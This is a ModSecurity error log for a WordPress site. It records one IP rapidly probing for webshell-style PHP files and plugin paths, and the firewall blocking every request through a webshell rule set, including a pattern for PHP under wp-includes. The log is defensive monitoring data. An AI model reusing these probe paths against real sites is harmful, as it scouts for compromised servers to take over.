[Fri Apr 17 04:46:52.499741 2026] [:error] [pid 51878:tid 51884] [client 20.199.113.127:62848] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/av.php"] [unique_id "aeFKvEnQhUtMbw9EsgYtGQAAAQQ"]
[Fri Apr 17 04:46:52.993077 2026] [:error] [pid 9152:tid 9209] [client 20.199.113.127:58460] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abcd.php"] [unique_id "aeFKvJJYca8I3TNCwIfz0gAAAFM"]
[Fri Apr 17 04:46:53.465396 2026] [:error] [pid 51878:tid 51889] [client 20.199.113.127:25998] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abcd.php"] [unique_id "aeFKvUnQhUtMbw9EsgYtIgAAAQk"]
[Fri Apr 17 04:46:53.938037 2026] [:error] [pid 51878:tid 51881] [client 20.199.113.127:62147] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abcd.php"] [unique_id "aeFKvUnQhUtMbw9EsgYtKgAAAQE"]
[Fri Apr 17 04:46:54.420942 2026] [:error] [pid 51878:tid 51881] [client 20.199.113.127:54564] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abcd.php"] [unique_id "aeFKvknQhUtMbw9EsgYtPwAAAQE"]
[Fri Apr 17 04:46:54.891045 2026] [:error] [pid 9153:tid 9241] [client 20.199.113.127:58494] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fi.php"] [unique_id "aeFKvuMHGxkTZX3c45fd1wAAAJc"]
[Fri Apr 17 04:46:55.369727 2026] [:error] [pid 9151:tid 9180] [client 20.199.113.127:4447] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fi.php"] [unique_id "aeFKv8hTVuRPkua22vSC1wAAABM"]
[Fri Apr 17 04:46:55.849674 2026] [:error] [pid 9263:tid 9279] [client 20.199.113.127:45573] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fi.php"] [unique_id "aeFKvxP68VyHNvj1e57PCgAAAM4"]
[Fri Apr 17 04:46:56.349656 2026] [:error] [pid 9263:tid 9266] [client 20.199.113.127:62850] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fi.php"] [unique_id "aeFKwBP68VyHNvj1e57PDQAAAME"]
[Fri Apr 17 04:46:56.822873 2026] [:error] [pid 9263:tid 9271] [client 20.199.113.127:58480] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a1.php"] [unique_id "aeFKwBP68VyHNvj1e57PEQAAAMY"]
[Fri Apr 17 04:46:57.345151 2026] [:error] [pid 9151:tid 9183] [client 20.199.113.127:4585] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a1.php"] [unique_id "aeFKwchTVuRPkua22vSC8gAAABY"]
[Fri Apr 17 04:46:57.882847 2026] [:error] [pid 9152:tid 9197] [client 20.199.113.127:26018] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a1.php"] [unique_id "aeFKwZJYca8I3TNCwIfz6gAAAEc"]
[Fri Apr 17 04:46:58.421958 2026] [:error] [pid 9152:tid 9193] [client 20.199.113.127:58443] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a1.php"] [unique_id "aeFKwpJYca8I3TNCwIfz8AAAAEM"]
[Fri Apr 17 04:46:58.948970 2026] [:error] [pid 51878:tid 51888] [client 20.199.113.127:26008] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/update/f35.php"] [unique_id "aeFKwknQhUtMbw9EsgYtXgAAAQg"]
[Fri Apr 17 04:46:59.476045 2026] [:error] [pid 9153:tid 9227] [client 20.199.113.127:4548] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/update/f35.php"] [unique_id "aeFKw-MHGxkTZX3c45fd9QAAAIk"]
[Fri Apr 17 04:46:59.985185 2026] [:error] [pid 9152:tid 9207] [client 20.199.113.127:62151] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/update/f35.php"] [unique_id "aeFKw5JYca8I3TNCwIf0AQAAAFE"]
[Fri Apr 17 04:47:00.456779 2026] [:error] [pid 51878:tid 51883] [client 20.199.113.127:51945] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/update/f35.php"] [unique_id "aeFKxEnQhUtMbw9EsgYtawAAAQM"]
[Fri Apr 17 04:47:00.936435 2026] [:error] [pid 9151:tid 9171] [client 20.199.113.127:26021] [client 20.199.113.127] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "aeFKxMhTVuRPkua22vSDAAAAAAo"]
[Fri Apr 17 04:47:01.410673 2026] [:error] [pid 9263:tid 9284] [client 20.199.113.127:36388] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f35.php"] [unique_id "aeFKxRP68VyHNvj1e57PNwAAANM"]
[Fri Apr 17 04:47:01.917344 2026] [:error] [pid 51878:tid 51884] [client 20.199.113.127:62889] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f35.php"] [unique_id "aeFKxUnQhUtMbw9EsgYtfwAAAQQ"]
[Fri Apr 17 04:47:02.424272 2026] [:error] [pid 9152:tid 9213] [client 20.199.113.127:25508] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f35.php"] [unique_id "aeFKxpJYca8I3TNCwIf0DAAAAFc"]
[Fri Apr 17 04:47:02.897452 2026] [:error] [pid 9263:tid 9275] [client 20.199.113.127:25474] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/css/index.php"] [unique_id "aeFKxhP68VyHNvj1e57PQwAAAMo"]
[Fri Apr 17 04:47:03.396037 2026] [:error] [pid 9153:tid 9239] [client 20.199.113.127:45596] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/css/index.php"] [unique_id "aeFKx-MHGxkTZX3c45feDQAAAJU"]
[Fri Apr 17 04:47:03.926769 2026] [:error] [pid 51878:tid 51904] [client 20.199.113.127:62900] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/css/index.php"] [unique_id "aeFKx0nQhUtMbw9EsgYtnQAAARg"]
[Fri Apr 17 04:47:04.451002 2026] [:error] [pid 9151:tid 9175] [client 20.199.113.127:45611] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/css/index.php"] [unique_id "aeFKyMhTVuRPkua22vSDEQAAAA4"]
[Fri Apr 17 04:47:04.969798 2026] [:error] [pid 9153:tid 9218] [client 20.199.113.127:36336] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/SimplePie/"] [unique_id "aeFKyOMHGxkTZX3c45feFgAAAIA"]
[Fri Apr 17 04:47:05.493820 2026] [:error] [pid 9152:tid 9194] [client 20.199.113.127:25527] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/SimplePie/"] [unique_id "aeFKyZJYca8I3TNCwIf0JgAAAEQ"]
[Fri Apr 17 04:47:06.036166 2026] [:error] [pid 9153:tid 9238] [client 20.199.113.127:36383] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/SimplePie/"] [unique_id "aeFKyuMHGxkTZX3c45feGQAAAJQ"]
[Fri Apr 17 04:47:06.572505 2026] [:error] [pid 9263:tid 9281] [client 20.199.113.127:54586] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/SimplePie/"] [unique_id "aeFKyhP68VyHNvj1e57PUQAAANA"]
[Fri Apr 17 04:47:07.089132 2026] [:error] [pid 9152:tid 9213] [client 20.199.113.127:54581] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/wp-file-manager/admin/"] [unique_id "aeFKy5JYca8I3TNCwIf0MwAAAFc"]
[Fri Apr 17 04:47:07.592292 2026] [:error] [pid 9263:tid 9289] [client 20.199.113.127:58437] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/wp-file-manager/admin/"] [unique_id "aeFKyxP68VyHNvj1e57PWgAAANg"]
[Fri Apr 17 04:47:08.063578 2026] [:error] [pid 51878:tid 51880] [client 20.199.113.127:25529] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/wp-file-manager/admin/"] [unique_id "aeFKzEnQhUtMbw9EsgYtxAAAAQA"]
[Fri Apr 17 04:47:08.601869 2026] [:error] [pid 51878:tid 51899] [client 20.199.113.127:62884] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/wp-file-manager/admin/"] [unique_id "aeFKzEnQhUtMbw9EsgYuKQAAARM"]
[Fri Apr 17 04:47:29.360020 2026] [:error] [pid 9152:tid 9214] [client 20.199.113.127:51941] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gettest.php"] [unique_id "aeFK4ZJYca8I3TNCwIf0nwAAAFg"]
[Fri Apr 17 04:47:29.837996 2026] [:error] [pid 9263:tid 9270] [client 20.199.113.127:26028] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gettest.php"] [unique_id "aeFK4RP68VyHNvj1e57QDgAAAMU"]
[Fri Apr 17 04:47:30.352396 2026] [:error] [pid 9263:tid 9268] [client 20.199.113.127:26032] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gettest.php"] [unique_id "aeFK4hP68VyHNvj1e57QEwAAAMM"]
[Fri Apr 17 04:47:30.857140 2026] [:error] [pid 51878:tid 51902] [client 20.199.113.127:4427] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gettest.php"] [unique_id "aeFK4knQhUtMbw9EsgYvzwAAARY"]
[Fri Apr 17 04:47:31.328566 2026] [:error] [pid 51878:tid 51887] [client 20.199.113.127:5005] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/acp.php"] [unique_id "aeFK40nQhUtMbw9EsgYv3QAAAQc"]
[Fri Apr 17 04:47:31.835290 2026] [:error] [pid 9152:tid 9204] [client 20.199.113.127:36320] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/acp.php"] [unique_id "aeFK45JYca8I3TNCwIf0qQAAAE4"]
[Fri Apr 17 04:47:32.360145 2026] [:error] [pid 9151:tid 9184] [client 20.199.113.127:26033] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/acp.php"] [unique_id "aeFK5MhTVuRPkua22vSD3QAAABc"]
[Fri Apr 17 04:47:32.891862 2026] [:error] [pid 9263:tid 9269] [client 20.199.113.127:58470] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/acp.php"] [unique_id "aeFK5BP68VyHNvj1e57QKwAAAMQ"]
[Fri Apr 17 04:47:33.411934 2026] [:error] [pid 51878:tid 51898] [client 20.199.113.127:25990] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file48.php"] [unique_id "aeFK5UnQhUtMbw9EsgYv-AAAARI"]
[Fri Apr 17 04:47:33.945385 2026] [:error] [pid 51878:tid 51881] [client 20.199.113.127:25483] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file48.php"] [unique_id "aeFK5UnQhUtMbw9EsgYwAwAAAQE"]
[Fri Apr 17 04:47:34.478059 2026] [:error] [pid 9153:tid 9237] [client 20.199.113.127:51925] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file48.php"] [unique_id "aeFK5uMHGxkTZX3c45fe6wAAAJM"]
[Fri Apr 17 04:47:34.972221 2026] [:error] [pid 9152:tid 9197] [client 20.199.113.127:26000] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file48.php"] [unique_id "aeFK5pJYca8I3TNCwIf0sgAAAEc"]
[Fri Apr 17 04:47:35.478847 2026] [:error] [pid 51878:tid 51890] [client 20.199.113.127:4935] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g.php"] [unique_id "aeFK50nQhUtMbw9EsgYwFAAAAQo"]
[Fri Apr 17 04:47:35.995042 2026] [:error] [pid 9263:tid 9266] [client 20.199.113.127:25500] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g.php"] [unique_id "aeFK5xP68VyHNvj1e57QSgAAAME"]
[Fri Apr 17 04:47:36.466027 2026] [:error] [pid 9152:tid 9192] [client 20.199.113.127:36362] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g.php"] [unique_id "aeFK6JJYca8I3TNCwIf0twAAAEI"]
[Fri Apr 17 04:47:36.986852 2026] [:error] [pid 51878:tid 51890] [client 20.199.113.127:54567] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g.php"] [unique_id "aeFK6EnQhUtMbw9EsgYwKgAAAQo"]
[Fri Apr 17 04:47:37.516527 2026] [:error] [pid 51878:tid 51886] [client 20.199.113.127:36371] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/"] [unique_id "aeFK6UnQhUtMbw9EsgYwNgAAAQY"]
[Fri Apr 17 04:47:38.070569 2026] [:error] [pid 51878:tid 51888] [client 20.199.113.127:36376] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/"] [unique_id "aeFK6knQhUtMbw9EsgYwQgAAAQg"]
[Fri Apr 17 04:47:38.577442 2026] [:error] [pid 9151:tid 9164] [client 20.199.113.127:51961] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/"] [unique_id "aeFK6shTVuRPkua22vSEBAAAAAM"]
[Fri Apr 17 04:47:39.048584 2026] [:error] [pid 9152:tid 9196] [client 20.199.113.127:62199] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/"] [unique_id "aeFK65JYca8I3TNCwIf0vgAAAEY"]
[Fri Apr 17 04:47:39.542386 2026] [:error] [pid 9153:tid 9235] [client 20.199.113.127:62203] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/simple.php"] [unique_id "aeFK6-MHGxkTZX3c45ffAgAAAJE"]
[Fri Apr 17 04:47:40.062140 2026] [:error] [pid 9263:tid 9273] [client 20.199.113.127:45576] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/simple.php"] [unique_id "aeFK7BP68VyHNvj1e57QVgAAAMg"]
[Fri Apr 17 04:47:40.544302 2026] [:error] [pid 9152:tid 9197] [client 20.199.113.127:4560] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/simple.php"] [unique_id "aeFK7JJYca8I3TNCwIf0yAAAAEc"]
